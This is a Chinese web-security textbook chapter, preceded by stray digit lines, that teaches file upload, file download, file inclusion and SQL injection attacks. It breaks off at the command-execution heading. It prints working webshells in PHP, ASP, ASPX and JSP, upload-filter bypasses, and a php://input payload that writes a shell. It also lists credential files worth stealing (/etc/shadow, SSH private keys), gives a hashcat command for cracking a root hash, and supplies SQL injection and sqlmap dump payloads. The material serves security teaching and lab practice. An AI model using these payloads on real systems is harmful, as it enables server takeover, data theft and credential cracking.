0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
Web攻防原理剖析
学习目标
掌握SQL、XXE注入漏洞的原理与实践
掌握文件包含漏洞的原理与防御方法
理解命令执行漏洞与防御
掌握XSS漏洞原理与防御
掌握CSRF与SSRF请求伪造漏洞原理与防御
掌握任意文件上传与任意文件读取漏洞
掌握逻辑漏洞中的越权漏洞
掌握反序列化漏洞攻击与防御 Web安全中有很多需要了解或掌握的安全漏洞,这些漏洞在实战中也经常会出现,如SQL注入漏洞、XXE XML实体注入、文件包含漏洞、命令执行漏洞,以及XSS、CSRF、SSRF、文件上传、文件下载、反序列化、业务逻辑等漏洞的相关安全知识,下面要开始踏入Web攻防原理剖析的学习日程了。
1 文件上传漏洞
1.1 漏洞简介
现代互联网的Web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,如企业的 OA 系统,允许用户上传图片、视频、头像和许多其他类型的文件。然而向用户提供的功能越多,Web应用受到攻击的风险就越大,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序(WebShell)上传到服务器中,获得网站的权限,然后可以进一步对服务器进行入侵,扩大控制权限。
1.2 漏洞利用
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至服务器。这个恶意的脚本文件,又被称为WebShell,是以ASP、PHP、JSP等网页设计语言编写的网页脚本,通常也叫作网页后门。攻击者在入侵了一个网站后,常会将WebShell上传到网站的目录下或者插入正常的网页中,然后使用浏览器或者对应的WebShell客户端来访问这些后门,将会得到一个命令执行的环境,以达到控制网站服务器的目的。 各个脚本语言经典的WebShell如下
1.2.1 ASP
密码为x的asp一句话木马:
<%eval request("x")%> <%execute request("x")%>
1.2.2 ASPX
密码为x的aspx一句话木马:
<%@ Page Language="Jscript"%> <%eval(Request.Item["x"],"unsafe");%>
1.2.3 PHP
密码为x的php一句话木马:
<?php eval($_POST[’x’])?> <?php assert($_POST[’x’]);?>
1.2.4 JSP Cmdshell
密码为x的jsp cmdshell木马,通过i传递要执行的命令,使用的时候只需要传递?pwd=x&i=id即可执行id命令:
<% if("x".equals(request.getParameter("pwd"))) { java.io.InputStream in=Runtime.getRuntime().exec(r equest.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } %>
1.3 漏洞实战
1.3.1 JS前端绕过
Web应用系统对用户上传的文件进行了校验,该校验是通过前端JavaScript代码完成的。恶意用户对前端JavaScript进行修改或者是通过抓包软件篡改上传的文件,就能轻松绕过基于JS的前端校验。 如何判断是不是前端校验呢?首先抓包监听,如果上传文件的时候还没有抓取到数据包,可浏览器就已经提示文件类型不正确,那么这个多半就是前端校验。JS前端校验样例如下图所示。
JS前端校验样例
可以看到,点击上传之后,Burp Suite抓包并未抓取到任何数据,但是浏览器弹出了警告框,由此可以判定这是一个JS前端校验。 绕过这种校验的方式也很简单,由于该校验本身只是纯粹地对后缀名进行判断,我们先将写有一句话木马的php文件修改为jpg后缀格式的文件,打开Burp Suite抓包后选择写有一句话木马的jpg后缀文件进行上传。Burp Suite抓包如下图所示。
Burp Suite抓包
将抓取到的shell.jpg的后缀jpg改为php,然后点击提交。 后缀修改如下图所示。
后缀修改
可以看到,成功上传后,页面并没有回显上传后的路径,只是显示了上传后的图片,可以按“F12”键打开浏览器控制台定位到目标的html代码,查看上传之后的路径./upload/shell.php。 WebShell路径如下图所示。
WebShell路径
访问目标,传入参数1=phpinfo(),输出phpinfo如下图所示。
输出phpinfo
成功访问,使用蚁剑、中国菜刀等shell连接工具连接。如下图所示为蚁剑连接
蚁剑连接
1.3.2 文件头绕过
文件上传时,服务器除了JS前端检验,有的检验还会对上传的文件进行文件头检测。文件头信息通常在一个文件的开头,我们用查看十六进制的方式可以查看一个文件的文件头信息。这也是最方便、最快捷的用来辨别一个文件真实内容的方法。如下图为gif文件头内容。
gif文件头
常见的文件头标志如下:
・JPEG (jpg),文件头:FFD8FF;
・PNG (png),文件头:89504E47;
・GIF (gif),文件头:47494638;
・HTML (html),文件头:68746D6C3E;
・ZIP Archive (zip),文件头:504B0304;
・RAR Archive (rar),文件头:52617221;
・Adobe Acrobat (pdf),文件头:255044462D312E;
・MS Word/Excel (xls.or.doc),文件头:D0CF11E0。
校验图片的文件头也就是校验图片内容,这个时候使用一个标准的图片木马是可以成功绕过的,这类代码大部分只校验了前面几个字节,所以直接写 GIF89a 即可成功绕过。直接上传php文件,开启Burp Suite抓包截断传输,添加并修改数据。 添加文件头如下图所示。
添加文件头如下图所示。
添加文件头
首先将Content-Type的参数修改为image/jpeg,该参数代表上传的文件为图片文件,然后添加GIF动图的文件头GIF89a,点击上传。 按“F12”键,再定位可以获取上传的文件路径。 获取的文件路径如下图所示。
获取的文件路径
使用浏览器访问,可以看到多了一个GIF89a,这是通过Burp Suite添加的文件头。浏览器访问结果(一)如下图所示。
浏览器访问结果(一)
下图为使用蚁剑连接。
使用蚁剑连接
另一种方式就是使用前文提到的图片木马,那如何制作图片木马呢? 准备写有一句话木马的shell.php文件和一张普通的demo.jpg图片文件,将二者放在同一个目录下,通过cmd使用copy命令制作图片木马:
D:\phpStudy\PHPTutorial\WWW>copy demo.jpg/b + shell.php shell.jpg demo.jpg shell.php 已复制 1 个文件。
执行成功后,查看目标文件,可以看到“一句话木马”已经添加到图片后面了。图片木马如下图所示。
图片木马
图片木马的利用和之前其他木马程序的利用方式不太相同,由于最终上传的文件格式为jpg的图片格式,嵌套在其中的代码并不会被当成php代码执行,所以在获取上传路径之后,需要结合后文所说的文件包含漏洞进行利用。
1.3.3 黑名单缺陷
限制文件上传的方式千奇百怪,白名单与黑名单就是常见的限制方式。白名单是设置可以让用户上传的文件格式,白名单以外的文件格式都不能通过。黑名单是设置用户不能上传的文件格式,黑名单以外的文件格式都能通过。所以在一般情况下,白名单比黑名单限制的用户要更多一些。 如何判断是白名单限制还是黑名单限制呢?可以看一下上传的特征。如下图便为黑名单限制的例子。
黑名单限制的例子
在选择文件上传后,显示的是不允许上传的文件格式,并且列出了一些不允许上传的文件后缀,根据php解析的特征,默认情况下 Apache 把 phtml、pht、php、php3、php4、php5 解析为 PHP,所以在这里为上传特殊后缀的php文件格式。特殊后缀文件如下图所示。
特殊后缀文件
获取上传之后的文件路径,通过浏览器访问。浏览器访问结果(二)如下图所示。
浏览器访问结果(二)
使用蚁剑工具连接,显示成功连接,如下图所示
成功连接
1.3.4 古老的00截断
在实战环境中,为了防止用户上传恶意文件,服务端会通过一些函数来获取用户上传的文件后缀再进行黑名单与白名单的对比,从而判断用户上传的文件是否符合要求。函数组合方式示例如下:
$deny_ext=array(’.asp’,’.aspx’,’.php’,’.jsp’); $file_name=trim($_FILES[’upload_file’][’name’]); $file_name=deldot($file_name);//删除文件名末尾的点 $file_ext=strrchr($file_name, ’.’); $file_ext=strtolower($file_ext); //转换为小写 $file_ext=str_ireplace(’::$DATA’, ’’, $file_ext) ;//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空
获取上传文件后缀是从右向左,碰到指定字符时停止。在某些特殊环境下,一些特殊的字符也会使服务器在获取文件后缀时提前终止,%00便是一个特殊字符。其意义是连接字符串时,0字节(\x00)将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。 选择一句话木马文件,并将其后缀改为jpg或其他图片类型,开启Burp Suite抓包,点击上传,如下图所示,为文件上传路径。
文件上传路径
可以发现在POST传送的参数中,显示了保存的路径,我们可以手动写入保存的文件名,并加上0字节截断特征,加上字符后对其进行一次url解码。使用00截断如下图所示
使用00截断
提交上传,直接访问我们更改之后的路径地址 url/upload/shell.php,传入参数。浏览器访问结果(三)如下图所示。
浏览器访问结果(三)
接下来可以通过工具连接shell,进行访问和利用。下图为蚁剑连接效果。
蚁剑连接效果
1.3.5 htaccess绕过
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现网页301重定向、自定义“404 错误页面”、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。在文件上传中htaccess是一个特殊的文件,在这些文件中写入指定的内容也能将文件解析为php,htaccess后缀的文件便是这类特殊的文件,当发现上传的功能点没有做这个文件的限制时,便可直接利用。 首先,确保本地文件在日常查看时能够编辑文件的后缀名;其次,新建一个文档,将该文档命名为.htaccess,并编辑写入以下指定内容。.htaccess文件如下图所示
.htaccess文件
然后,将写有一句话木马的php文件的后缀改为jpg等允许上传的文件格式。 先上传特殊文件,再上传包含一句话木马的文件,获取路径之后,加上参数访问。浏览器访问如下图所示。
浏览器访问
使用蚁剑工具连接如下图所示。
蚁剑工具连接
2 文件下载漏洞
2.1 漏洞简介
一些系统因为业务需求,网站需要提供文件查看或下载的功能。如果对用户查看或下载的文件不做限制,那么用户就能够查看或下载任意的文件,可以是源文件、敏感文件等。 网站代码本身存在读取文件的函数调用,且输出的文件内容是任意文件,这是“读取漏洞”的前提条件,如果用户下载时读取文件的路径可控,传递的文件路径参数未校验或校验不严,就可能会触发文件下载漏洞。 实战中还可以下载服务器上的敏感文件,如脚本代码、服务及系统配置文件等,这样可以得到代码以做进一步的代码审计,发现更多可利用漏洞。
2.2 漏洞利用
2.2.1 漏洞特征发现
在实际的渗透测试中,需要关注URL的一些参数。如果URL当中存在一些诸如file、path 等参数的时候,且这些参数可控,就可以尝试利用这些参数来下载目标服务器上指定可下载文件以外的其他文件,如/etc/hosts、/etc/passwd等,成功下载其他文件即表示漏洞存在。 file、path、data、filepath、readfile、data、url、realpath是文件下载漏洞的特征参数,在渗透测试的时候要重点关注这些参数。
2.2.2 漏洞简单验证
不同系统中,文件下载漏洞验证方法稍有区别,Windows系统下可以尝试下载如下文件:C:\Windows\win.ini。 win.ini文件是每个Windows系统都存在的,主要记录了Windows系统的一些基本配置情况。读取win.ini文件如下图所示。
读取win.ini文件
在Linux系统下可选的文件就多一些。可以尝试读取/etc/passwd文件,这个文件记录着用户的一些基本属性;也可以尝试读取/etc/hosts 文件,这里记录着本地的域名IP的对应关系。如图4-25所示,为读取/etc/passwd文件。
读取/etc/passwd文件
2.2.3 常见的敏感文件
如果目标网站真的存在文件包含漏洞,这个时候可以重点关注一些系统的敏感文件,通过下载这些敏感文件进一步获取更多的敏感信息,下面分别列举一些不同平台下的文件下载思路。
Windows平台
C:\boot.ini # 查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml # IIS配置文件C:\Windows\repair\sam # 存储系统初次安装的密码C:\Program Files\mysql\my.ini # MySQL配置C:\Program Files\mysql\data\mysql\user.MYD # MySQL rootC:\Windows\php.ini # php配置信息C:\Windows\my.ini # MySQL配置信息C:\Windows\win.ini # Windows系统的一个基本系统配置文件 C:\Windows\System32\drivers\etc\hosts # host文件位置
Linux平台
/root/.ssh/authorized_keys # 服务器公钥 /root/.ssh/id_rsa # SSH私钥 /root/.ssh/known_hosts # 记录每个访问计算机用户的钥 /etc/passwd # 记录用户的一些基本属性 /etc/shadow # 记录用户加密后的密码 /etc/my.cnf # MySQL配置文件 /etc/httpd/conf/httpd.conf # Apache配置文件 /root/.bash_history # 用户历史命令记录件 /root/.mysql_history # MySQL历史命令记录文件 /porc/self/cmdline # 当前进程的cmdline参数 /proc/net/arp # arp表,可以获得内网其他机器的地址 /proc/net/route # 路由表信息 /proc/net/tcp and /proc/net/udp # 活动连接的信息 /proc/net/fib_trie # 路由缓存 /proc/version # 内核版本
Web层的Tips
(1)可以尝试下载一些包含数据库配置的源代码文件,可能会直接拿到数据库的密码。 (2)Java Tomcat 部署的网站可以下载 web.xml 文件,然后进一步下载网站源代码。 (3)如果有日志文件可以尝试下载,可能会拿到管理员登录的敏感信息或者是后台登录地址等。 (4)也可以考虑下载全站源代码,本地进行白盒审计以发现更多的潜在漏洞。
2.3 漏洞实战
2.3.1 下载站点配置文件
一般在源代码中可能会发现一些与网站相关的敏感信息,可以利用这些泄露的信息来进行高危漏洞挖掘和发现。 存在漏洞点的源代码如下图所示,在页面上发现了任意文件下载功能。
存在漏洞点的源代码
在源代码文件中发现了db.php文件,显示数据库连接成功,可能是数据库连接的敏感文件。 数据库敏感文件如下图所示。
数据库敏感文件
利用任意文件下载功能来读取db.php文件。 读取数据库文件如下图所示。
读取数据库文件
成功拿到数据库的密码后,接着对网站进行目录扫描,成功发现phpmyadmin的路径。用刚才拿到的用户名和密码登录,就可以执行任意SQL语句。
执行SQL语句如下图所示。
2.3.2 下载shadow文件
用Nmap尝试对网站做简单的端口扫描,发现ssh服务是开启状态。根据前面发现的文件下载漏洞,我们可利用它来读取服务器的口令文件/etc/shadow。 读取/etc/shadow文件如下图所示。
读取/etc/shadow文件
可以看到root用户密码被进行了hash加密,根据密码规则,判断加密方式应该是sha512crypt$6$,SHA512(Unix)。尝试采用hashcat工具对加密文本进行弱口令暴力破解。先找到加密方式对应的hashcat目录。
查看加密方式
然后加载弱口令文件,指定参数进行破解。
hashcat -a 0 -m 1800 --force ’$6$Ak.Mk.W.$5C5UBsRVp/xVl/ O/ZXtGHoCso8BEJgz3zc5XvERp8ZM50X9BnE5fMNXGUBAOr0m8O9ezo0OH0M dOCJW.tRZkI.’ pass_dic.txt -d 2 --potfile-disable
成功破解hash如下图所示。
成功破解hash
拿到密码后对用户进行登录即可。
3 文件包含漏洞
3.1 漏洞简介
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含,其本身并没有危害。但是如果包含的文件参数可控,那么这样就会导致文件包含漏洞的产生。文件包含的表现形式可以分为本地文件包含与远程文件包含。
3.1.1 本地文件包含
能够访问并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion,LFI),本地文件包含多种利用方式,如向允许上传的文件中写入恶意代码并上传,利用文件上传漏洞包含目标文件、包含PHP上传的临时文件、在请求URL或者UA里面加入要执行的代码、恶意代码记录到日志后再包含WebServer的日志,上述几种都是常见的利用方式。
3.2 远程文件包含
PHP 不仅可以对本地文件进行包含,还可以对远程文件进行包含(Remote File Inclusion,RFI)。如果要使用远程包含功能,远程包含功能需要在php.ini配置文件中修改:
allow_url_fopen = On allow_url_include = On
远程文件包含与本地文件包含没有区别,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析,因为远程的URL资源可以被恶意用户所控制,所以远程文件包含漏洞的危害也比较大。
漏洞利用
3.2.1 本地文件包含截断
大多数开发者认为PHP中的包含漏洞比较好修复,固定扩展名即可,代码如下:
error_reporting(0); if(isset($_GET[’file ’])){ include $_GET[’ file’] .".php"; }
开发者在用户传入的参数后添加了.php后缀限制,这样就会造成其他人无法任意地读取一些敏感文件信息,如此时传入?file=/etc/passwd,最后包含的效果如下:
include(’/etc/passwd.php’);
此时本地并不存在/etc/passwd.php 文件,这就会导致包含失败,这种情况下怎么办呢? 本地文件包含截断在PHP低版本的情况下有两种突破思路,分别是00截断和路径长度截断。
00截断 PHP内核是由C语言实现的,所以使用了C语言中的一些字符串处理函数。比如,在连接字符串时,0 字节(\x00)将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。
?file=payload.txt\0
因为浏览器URL并不支持\,因此通过浏览访问的时候需要通过urlencode进行编码,变成:
?file=payload.txt%00
成功突破后缀限制后,文件包含成功。 00截断包含phpinfo信息如下图所示。
00截断包含phpinfo信息
路径长度截断 Windows下目录最大长度为256字节,超出的部分会被丢弃;Linux下目录最大长度为4096字节,超出的部分也会被丢弃。命令行下“./”表示当前路径。 所以可以使用大量的“./”来造成路径长度溢出,这样可以成功截断。 ?file=payload.txt././././././././超过一定数量的./././././ 路径长度截断包含phpinfo信息如下图所示。
除了使用“./”表示当前目录,命令行下使用“.”也表示当前目录,所以也可以使用大量的“.”来进行目录长度溢出(点的数量不等于2的倍数)。 ?file=payload.txt........超过一定数量的........ 通过目录溢出包含phpinfo信息如下图所示。
通过目录溢出包含phpinfo信息
3.2.2 远程文件包含截断
发现目标网站存在远程文件包含漏洞,但是会在我们的文件名后面添加.xxx 后缀,这样就导致了远程文件包含失败。 远程文件包含失败的例子如下图所示。
远程文件包含失败的例子
这种情况下可以使用“?”和“#”进行截断。下表说明了“?”和“#”的区别
在我们要包含的URL后面添加“?”可以成功将.xxx截断。 截断包含phpinfo信息如下图所示。
同理使用“#”也是可以截断后面的.xxx 后缀的,只是在浏览器当中“#”要进行一次URL编码,即编码后为%23。
3.2.3 PHP伪协议
PHP带有很多内置URL风格的封装协议(伪协议),将这些伪协议和文件包含漏洞配合使用往往会有意想不到的效果。
php://filter 我们常使用 php://filter伪协议配合文件包含漏洞来读取文件的源码信息,因为文件包含会解析符合PHP语法规范的文件,借助filter伪协议就可以对目标文件进行编码输出,解码即可拿到目标文件的源代码。
?file=php://filter/read=convert.base64-encode/resource=文件 ?file=php://filter/convert.base64-encode/resource=文件
包含成功会拿到一串Base64加密后的字符串,尝试解码可得到网站的源代码信息。 Base64解码源文件如下图所示。
php://input 使用php://input可以获取POST的数据流,如果满足远程文件包含条件,也可以直接执行PHP语句,即发送过去PHP代码,即可执行。 如果发送的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"])?>');?>
php://input写入shell如下图所示
//input写入shel
此时木马就已经写入了index.php的同级目录下。同理还可以直接用命令执行,发送数据内容如下,以此来执行命令。
<?php system('ipconfig');?>
连接shell执行命令如下图所示。
连接shell执行命令
data:// data://类似于php://input,也需要开启远程文件包含,如果和文件包含结合,可以将原本的include 的文件流重新定向到用户可控制的输入流中,简单来说就是执行文件的包含方法包含了您的输入流,导致可以执行任意payload。
?file=data:text/plain,<?php phpinfo();?>
data伪协议执行phpinfo如下图所示。
data伪协议执行phpinfo
3.3 漏洞实战
3.3.1 包含图片木马getshell
本章第一节的文件上传内容中,曾提到制作图片木马绕过文件内容检测,图片木马上传之后使用文件包含的方式进行getshell。如果目标网站既能上传图片木马,又存在文件包含漏洞,则会产生巨大危害。 查看当前的url:http://xxxxxx/?header=header1.php&page=upload.php,可以尝试性地去包含etc/passwd文件。如果能成功包含,说明存在文件包含漏洞。下图为成功包含/etc/passwd文件。
成功包含/etc/passwd文件
下图为上传图片木马文件
上传图片木马文件
获取路径之后,通过文件包含漏洞去访问:http://xxxxxx/?header=header1.php&page=upload/7720210119071437.png。下图为包含图片木马文件成功执行phpinfo。
包含图片木马文件成功执行phpinfo
3.3.2包含日志getshell
在文件包含中,被包含的文件都会被当作php文件执行,若被包含的文件中存在php代码,则该代码会被当作php脚本执行。所以,在实战中,我们可以通过一些方式将php代码写入目标服务的日志中,若其存在文件包含漏洞,则可以通过文件包含漏洞去包含目标日志,从而getshell。 访问目标地址,http://xxxx/?file=sshlog.php,发现存在文件包含特性,尝试包含etc/passwd。 包含/etc/passwd文件如下图所示。
包含/etc/passwd文件
目标开放了Web服务,开启Burp Suite抓包,抓取任意请求数据,写入php敏感文件。 写入phpinfo如下图所示。
写入phpinfo
多次请求,将访问的信息写入Web服务的日志中,通过文件包含目标服务器的日志,http://xxxxx/?file=/var/log/apache2/access.log。 文件包含写入的日志如下图所示。
文件包含写入的日志
4 SQL注入漏洞
4.1 漏洞简介
SQL注入就是指Web应用程序没有对用户的输入进行校验,导致前端传入后端的参数可被用户控制,如果这个参数被带入数据库查询,就导致攻击者可以任意操作数据库查询语句,这种漏洞就称作SQL注入漏洞。 我们首先来看下面的场景,网站提供了 ID 查询,用户输入对应的 ID 即可显示出查询的结果。 基础SQL查询如下图所示。
这个网站的后端核心的查询数据语句如下: SELECT*FROM users WHERE id='$ GET["id"]' 用户提交对应的ID,然后数据库就会根据这个ID去查询数据,但是假设有一个用户输入了如下恶意数据:
1' and 1=1 -- - 1' and 1=2 -- -
这样带入数据库语句当中分别是如下效果:
SELECT * FROM users WHERE id='1' and 1=1 -- -' SELECT * FROM users WHERE id='1' and 1=2 -- -'
可以看出,第一组单引号闭合了原本的SQL语句中的单引号,然后通过and 关键词拼接了自己的1=1和1=2 SQL语句,接着为了不破坏原本的语句闭合情况,使用了“---”注释掉了原本SQL语句中的单引号,这样就导致用户输入的and 1=1和and 1=2代码被执行,从而导致页面返回正确回显或错误回显,这就是SQL注入漏洞最基本的原理。
4.2 漏洞利用
4.2.1 SQL注入靶场
要想注入学得好,靶场练习少不了。SQL注入的靶场有很多,下面来一一介绍。
sqli-labs 一个SQL注入专项练习靶场,一共有65关,基本上覆盖了MySQL注入的各种知识点,下图为sqli-labs部分关卡。
sqli-labs部分关卡
2.DVWA DVWA也是一个经典的Web漏洞靶场,里面包含SQL注入和盲注的低、中、高关卡,结合漏洞代码学习,也有助于提高对SQL注入漏洞的理解。下图为DVWA漏洞靶场。
DVWA漏洞靶场
3.Web for pentester Web for pentester也是一个包含常见Web漏洞的靶场,官方给的iso镜像文件部署起来也比较方便,这个靶场一共包含9个SQL注入的练习关卡。 pentester漏洞靶场如下图所示。
pentester漏洞靶场
4.2.2 SQL注入工具
在实战当中使用纯手工的方式进行注入的效率低,所以一款顺手的工具必不可少。一般实战当中我们常使用sqlmap和“超级SQL注入工具”,下面来分别介绍一下这两款工具。
sqlmap sqlmap是一款由Python语言编写的自动化检测与利用SQL注入漏洞的免费开源工具,支持对多种SQL 注入的检测和利用,同时也完美支持MySQL、Oracle、PostgreSQL、MSSQL、Access等主流数据库。图4-52为sqlmap注入工具界面。
sqlmap注入工具界面
超级SQL注入工具 超级SQL注入工具是一款基于HTTP协议自组包的SQL注入工具,采用C#开发,直接操作TCP会话来进行HTTP交互,支持出现在HTTP协议任意位置的SQL注入,既支持各种类型的SQL注入,也支持HTTPS模式注入,操作起来比 sqlmap简单很多,学习成本也低。下图为超级SQL注入工具页面。
超级SQL注入工具页面
4.2.3 SQL注入分类
联合查询注入 如果目标网站存在SQL注入并且有回显数据,可以使用UNION关键词拼接第二个SELECT语句来进行查询。 假设原始的SQL语句字段数为3,注入参数为id,这种情况下我们输入:
?id=1' UNION SELECT 1,2,3 -- -
此时页面是不会报错的,现在我们带入数据库的语句为:
可以查询一个不存在的ID,故意构造一个报错,然后将我们自己的SELECT 1,2,3数据外带出来。
?id=-1' UNION SELECT 1,2,3 --+
基础SQL注入测试如下图所示。
基础SQL注入测试
此时的数据库查询语句如下:
这样1,2,3就会正常回显到页面当中,可以使用MySQL的一些函数,如version()、database()、user()等函数,这样就可以查询出此时数据库对应的版本信息、当前数据库信息及当前的数据库用户信息等,这就是联合查询注入最基本的漏洞原理。
报错注入 如果网站开启了SQL报错日志功能,可以借助MySQL内置的Bug在报错的日志里带入用户的查询语句,这就是报错注入的由来。可以让 MySQL 报错的方法有很多,如最经典的MySQL的第8652 号Bug:Bug#8652 group by part of rand() returns duplicate keyerror,利用此Bug就可以在日志里带出用户输入的语句:
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
MySQL交互界面中运行这个语句,报错注入图解效果如下图所示。
报错注入图解效果
可以看到MySQL虽然报错了,但是依然将select user()的查询结果返回到了MySQL的日志当中,这就是一个经典的报错注入。 类似的报错语句还有:
1)extractvalue
select extractvalue(1,concat(0x7e,(select user()), 0x7e));
下图为extractvalue函数的报错注入。
extractvalue函数的报错注入
2)updatexml
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
下图为updatexml函数的报错注入。
updatexml函数的报错注入
3)双查询
select * from (select NAME_CONST(version(),1),NAME_CONST (version(),1))x;
下图为双查询的报错注入。
双查询的报错注入
更多的报错注入的方法这里就不一一列举了。
基于布尔类型的盲注 页面无法显示SQL查询的数据,但是当正确的查询语句和错误的查询语句返回的结果不一样的时候,这种情况下可以使用基于布尔类型的“盲注”,通过页面的正确与否来判断查询的数据结果。 下面来看一下使用布尔类型“盲注”常用的一些关键词函数。
and length(database())>7
如果执行了上述语句页面返回正确,这表明当前数据库的长度是大于7位的,但是如果执行下面语句:
and length(database())>8
页面如果此时返回错误,则表明当前数据库的长度不大于8,结合之前的数据库长度大于7可以推理出当前数据库的长度为8,这样就是一个布尔类型盲注的推理过程,下面来一一列举使用布尔类型盲注的时候可能会有帮助的一些函数。 1)left函数 left(s,n) :返回字符串s的前n个字符。
left(database(),1)>'a'; left(database(),1)>'z'; left(database(),1)>'e';
推理出数据库的第一个字母,以此类推可以使用如下的语句推理出数据库的第二个字母:
left(database(),2)>'sa'; left(database(),2)>'sz'; left(database(),2)>'se';
2)mid函数 mid(s,n,len):从字符串s的start位置截取长度为length的子字符串。 使用如下语句推理出当前用户的第一个字母为r:
and mid(user(),1,1)>'a'; and mid(user(),1,1)>'z'; and mid(user(),1,1)>'q'; and mid(user(),1,1)>'r';
接着推理出第二个字母为o:
and mid(user(),1,2)>'rn'; and mid(user(),1,2)>'ro';
或者也可以直接推理出第二个字母为o:
and mid(user(),2,1)>'n' and mid(user(),2,1)>'o'
3)substr函数 substr(s,start,length):从字符串s的start位置截取长度为length的子字符串。
and substr(version(),1,1)>4; and substr(version(),1,1)>5;
4)ascii函数 ascii(s):返回字符串s的第一个字母的ASCII码。
and ascii(user())>113; and ascii(user())>114; and ascii(mid(user(),1 ,1))>113;and ascii(mid(user(),1 ,1))>114;
在布尔盲注的时候还会用到ord、if、regexp、cast、ifnull等关键词,由于篇幅有限这里就不一一列举了。
基于时间类型的盲注 若查询语句是否正确都不影响页面返回的内容时,这种情况下就只能使用基于时间类型的盲注了。原理和之前基于报错的注入差不多,只是条件成功会触发 sleep函数的延时效果。
and 1=if(ascii(substr(database(),1,1))>115,1,sleep(5))
判断数据库的第一位长度是否大于115,如果大于115就会返回1,否则就会执行sleep(5)函数,让页面响应延时5秒,通过这种时间差就可以快速判断出当前我们要查询的结果信息。 在 MySQL 中除了使用sleep函数进行延时,还可以使用benchmark函数来进行延时。 benchmark(count,expr):将expr表达式运行计算count次。 这个函数可以让 expr 表达式执行若干次,通过大量计算占用CPU性能,这个时候页面的返回结果就比平时要长,通过时间长短的变化,从而判断语句是否执行成功。 ``` and 1=if(ascii(substr(database(),1,1))>115,1,BENCHMARK(10000000000,md5(233))) ```
4.3 漏洞实战
4.3.1 基础的联合查询注入
联合注入一般是通过union关键字来进行数据回显的SQL注入。一般是先利用order by来判断表的列数。 SQL注入判断列数如下图所示。
SQL注入判断列数
在第四列返回正常,第五列返回错误,判断列数为4。接着查询库名,结果如下。 SQL注入查询库名如下图所示
SQL注入查询库名
继续注入,成功获取flag。 SQL注入获取flag如下图所示。
SQL注入获取flag
4.3.2 万能密码注入
万能密码是SQL注入中比较常见的漏洞点,适合简单的SQL漏洞判断,通过下面的题目来简单理解一下。一个简单的登录框,传输用户名和密码,常规单引号测试,发现报错。下图为单引号导致报错。
单引号导致报错
传输的payload为:
name=a'&pass=1
猜测后端SQL语句应该是:
SELECT username, password FROM users WHERE username='$name' and password='$pass' LIMIT 0,1
根据此逻辑可以使用万能密码来进行登录绕过,构造如下payload:
name='='&pass='='
这样后端逻辑就变成了:
SELECT username, password FROM users WHERE username=''='' and password=''='' LIMIT 0,1
详细解析一下关键语句:
username=''='' and password=''=''
由于在SQL的逻辑运算中,“=”优先级大于and和or。所以username传递的参数为空,“=”后面的值也为空,空等于空,返回值为true。password同理,最终返回结果也为true,成功绕过登录限制。 同样地,我们还可以利用SQL注释语句来绕过登录限制。 构造如下payload:
name='or 1#&pass=2333
这时,后端逻辑就变成了:
SELECT username, password FROM users WHERE username=''or 1#' and password='2333' LIMIT 0,1
同样解析一下:
username=''or 1#' and password='2333'
username传递的值为空,与“or1”永真表达式进行逻辑运算后变成true,成功绕过登录限制。当然在已知用户名的时候也可以替换“or1”的表达式,实现任意用户登录。
4.3.3 基于报错的注入
报错注入一般常见于无正确数据回显且有报错返回,常利用updatexml等函数进行注入。来了解一下报错注入的实例。先输入正确值,返回数据无正确回显。 数据查询无正确回显如下图所示。
数据查询无正确回显
发现无正确数据返回,只有查询状态。尝试输入引号,触发报错。
引号触发报错如下图所示。
引号触发报错
这时可以利用updatexml来进行报错注入,构造payload,查询数据库。
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(CAST(CONCAT(database()) AS CHAR),0x7e)) LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)--+
查询数据库成功如下图所示。
查询数据库成功
查询flag信息,构造payload。
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(CAST(CONCAT(content) AS CHAR),0x7e)) FROM flag_is _here LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)--+
查询成功如下图所示。
报错注入查询flag
4.4.3.4 基于时间类型的盲注 基于时间类型的盲注一般用在无回显数据查询的情形,由于漏洞点较隐蔽,一般采用sqlmap发现。下面是一个简单的搜索案例,输入ID发现无数据返回。存在时间盲注的页面如下图所示。
存在时间盲注的页面
尝试用sqlmap发现,sqlmap的命令语句如下:
sqlmap -u "xxxxx/?id=1" --flush-session
成功发现注入点,如下图所示。
拿到数据库flag的命令语句:
sqlmap -u "xxxxx/?id=1" -D db -T flag_is_here -C content --dump --technique=T
5 命令执行漏洞
5.1 漏洞简介
